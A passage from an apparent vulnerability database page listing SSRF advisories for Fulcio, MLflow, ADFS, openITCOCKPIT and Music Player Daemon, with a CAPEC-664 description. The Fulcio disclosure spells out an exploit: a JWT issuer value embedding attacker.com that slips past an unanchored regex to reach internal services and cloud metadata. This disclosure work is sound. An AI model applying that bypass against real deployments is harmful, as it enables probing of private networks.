          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22772"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-13T18:47:57Z",
    "nvd_published_at": "2026-01-12T21:15:59Z",
    "severity": "MODERATE"
  },
  "details": "# Security Disclosure: SSRF via MetaIssuer Regex Bypass\n\n## Summary\n\nFulcio\u0027s `metaRegex()` function uses unanchored regex, allowing attackers to bypass MetaIssuer URL validation and trigger SSRF to arbitrary internal services.\n\nSince the SSRF only can trigger GET requests, the request cannot mutate state. The response from the GET request is not returned to the caller so data exfiltration is not possible. A malicious actor could attempt to probe an internal network through [Blind SSRF](https://portswigger.net/web-security/ssrf/blind).\n\n## Impact\n\n- SSRF to cloud metadata (169.254.169.254)\n- SSRF to internal Kubernetes APIs\n- SSRF to any service accessible from Fulcio\u0027s network\n- Affects ALL deployments using MetaIssuers\n\n## Patches\n\nUpgrade to v1.8.5.\n\n## Workarounds\n\nNone. If anchors are included in the meta issuer configuration URL, they will be escaped before the regular expression is compiled, not making this a sufficient mitigation. Deployments must upgrade to the latest Fulcio release v1.8.5.\n\n## Affected Code\n\n**File**: `pkg/config/config.go`  \n**Function**: `metaRegex()` (lines 143-156)\n\n```go\nfunc metaRegex(issuer string) (*regexp.Regexp, error) {\n    quoted := regexp.QuoteMeta(issuer)\n    replaced := strings.ReplaceAll(quoted, regexp.QuoteMeta(\"*\"), \"[-_a-zA-Z0-9]+\")\n    return regexp.Compile(replaced)  // Missing ^ and $ anchors\n}\n```\n\n## The Bug\n\nThe regex has no `^` (start) or `$` (end) anchors. Go\u0027s `regexp.MatchString()` does substring matching, so:\n\n```\nPattern:  https://oidc.eks.*.amazonaws.com/id/*\nRegex:    https://oidc\\.eks\\.[-_a-zA-Z0-9]+\\.amazonaws\\.com/id/[-_a-zA-Z0-9]+\n\nInput:    https://attacker.com/x/https://oidc.eks.foo.amazonaws.com/id/bar\nResult:   MATCHES (substring found)\n```\n\n## Exploit\n\n1. Attacker sends JWT with `iss` claim: `https://attacker.com/path/https://oidc.eks.x.amazonaws.com/id/y`\n2. Fulcio\u0027s `GetIssuer()` matches this against MetaIssuer patterns\n3. Unanchored regex matches the embedded pattern as substring\n4. Fulcio calls `oidc.NewProvider()` with attacker\u0027s URL\n5. HTTP request goes to `attacker.com`, not `amazonaws.com`\n6. Attacker returns OIDC discovery with `jwks_uri` pointing to internal service\n7. Fulcio fetches from internal service \u2192 SSRF",
  "id": "GHSA-59jp-pj84-45mr",
  "modified": "2026-01-13T18:47:57Z",
  "published": "2026-01-13T18:47:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sigstore/fulcio/security/advisories/GHSA-59jp-pj84-45mr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22772"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sigstore/fulcio/commit/eaae2f2be56df9dea5f9b439ec81bedae4c0978d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sigstore/fulcio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Fulcio is vulnerable to Server-Side Request Forgery (SSRF) via MetaIssuer Regex Bypass"
}

GHSA-59V3-898R-QWHJ

Vulnerability from github – Published: 2023-12-20 06:30 – Updated: 2024-01-02 14:53
VLAI
Summary
MLflow Server-Side Request Forgery (SSRF)
Details

A malicious user could use this issue to access internal HTTP(s) servers and in the worst case (ie: aws instance) it could be abused to get a remote code execution on the victim machine.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mlflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-6974"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-12-20T20:36:02Z",
    "nvd_published_at": "2023-12-20T06:15:45Z",
    "severity": "CRITICAL"
  },
  "details": "A malicious user could use this issue to access internal HTTP(s) servers and in the worst case (ie: aws instance) it could be abused to get a remote code execution on the victim machine.",
  "id": "GHSA-59v3-898r-qwhj",
  "modified": "2024-01-02T14:53:37Z",
  "published": "2023-12-20T06:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6974"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/commit/8174250f83352a04c2d42079f414759060458555"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/438b0524-da0e-4d08-976a-6f270c688393"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MLflow Server-Side Request Forgery (SSRF)"
}

GHSA-59VP-R459-3WCR

Vulnerability from github – Published: 2022-05-14 01:57 – Updated: 2022-05-14 01:57
VLAI
Details

Microsoft ADFS 4.0 Windows Server 2016 and previous (Active Directory Federation Services) has an SSRF vulnerability via the txtBoxEmail parameter in /adfs/ls.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-16794"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-09-18T21:29:00Z",
    "severity": "HIGH"
  },
  "details": "Microsoft ADFS 4.0 Windows Server 2016 and previous (Active Directory Federation Services) has an SSRF vulnerability via the txtBoxEmail parameter in /adfs/ls.",
  "id": "GHSA-59vp-r459-3wcr",
  "modified": "2022-05-14T01:57:50Z",
  "published": "2022-05-14T01:57:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16794"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/bugtraq/2018/Sep/26"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/149376/Microsoft-ADFS-4.0-Windows-Server-2016-Server-Side-Request-Forgery.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2018/Sep/13"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/105378"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-59X4-PQCP-87M4

Vulnerability from github – Published: 2022-05-24 16:54 – Updated: 2024-04-04 01:46
VLAI
Details

openITCOCKPIT before 3.7.1 allows SSRF, aka RVID 5-445b21.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-15494"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-08-23T13:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "openITCOCKPIT before 3.7.1 allows SSRF, aka RVID 5-445b21.",
  "id": "GHSA-59x4-pqcp-87m4",
  "modified": "2024-04-04T01:46:55Z",
  "published": "2022-05-24T16:54:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15494"
    },
    {
      "type": "WEB",
      "url": "https://github.com/it-novum/openITCOCKPIT/releases/tag/openITCOCKPIT-3.7.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5C2H-G7WX-C499

Vulnerability from github – Published: 2026-05-28 21:32 – Updated: 2026-05-29 00:38
VLAI
Details

Music Player Daemon (MPD) before version 0.24.11 contains a server-side request forgery vulnerability in CurlInputPlugin where CURLOPT_FOLLOWLOCATION is set without CURLOPT_REDIR_PROTOCOLS_STR, allowing unauthenticated attackers to bypass the http/https scheme restriction by causing a malicious HTTP server to redirect to non-HTTP protocols such as gopher, ftp, sftp, ldap, dict, rtmp, or rtsp. Attackers can trigger this vulnerability via MPD commands that initiate URL fetches, including add, readcomments, albumart, readpicture, or load, to interact with internal or restricted network services on systems running libcurl versions prior to 7.85.0.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-49129"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-28T20:16:26Z",
    "severity": "MODERATE"
  },
  "details": "Music Player Daemon (MPD) before version 0.24.11 contains a server-side request forgery vulnerability in CurlInputPlugin where CURLOPT_FOLLOWLOCATION is set without CURLOPT_REDIR_PROTOCOLS_STR, allowing unauthenticated attackers to bypass the http/https scheme restriction by causing a malicious HTTP server to redirect to non-HTTP protocols such as gopher, ftp, sftp, ldap, dict, rtmp, or rtsp. Attackers can trigger this vulnerability via MPD commands that initiate URL fetches, including add, readcomments, albumart, readpicture, or load, to interact with internal or restricted network services on systems running libcurl versions prior to 7.85.0.",
  "id": "GHSA-5c2h-g7wx-c499",
  "modified": "2026-05-29T00:38:32Z",
  "published": "2026-05-28T21:32:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49129"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MusicPlayerDaemon/MPD/issues/2487"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MusicPlayerDaemon/MPD/commit/78341dd6c7b101c3feede233d4cc4f8f1fcc4bb3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MusicPlayerDaemon/MPD/releases/tag/v0.24.11"
    },
    {
      "type": "WEB",
      "url": "https://mstreet97.github.io/security-research/opensource/vulnerability-disclosure/cybersecurity/cve/2026/05/25/Four_Bugs_Reachable_nc.html"
    },
    {
      "type": "WEB",
      "url": "https://raw.githubusercontent.com/MusicPlayerDaemon/MPD/v0.24.11/NEWS"
    },
    {
      "type": "WEB",
      "url": "https://www.musicpd.org/news/2026/05/mpd-0-24-11-released"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/music-player-daemon-ssrf-via-curlinputplugin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.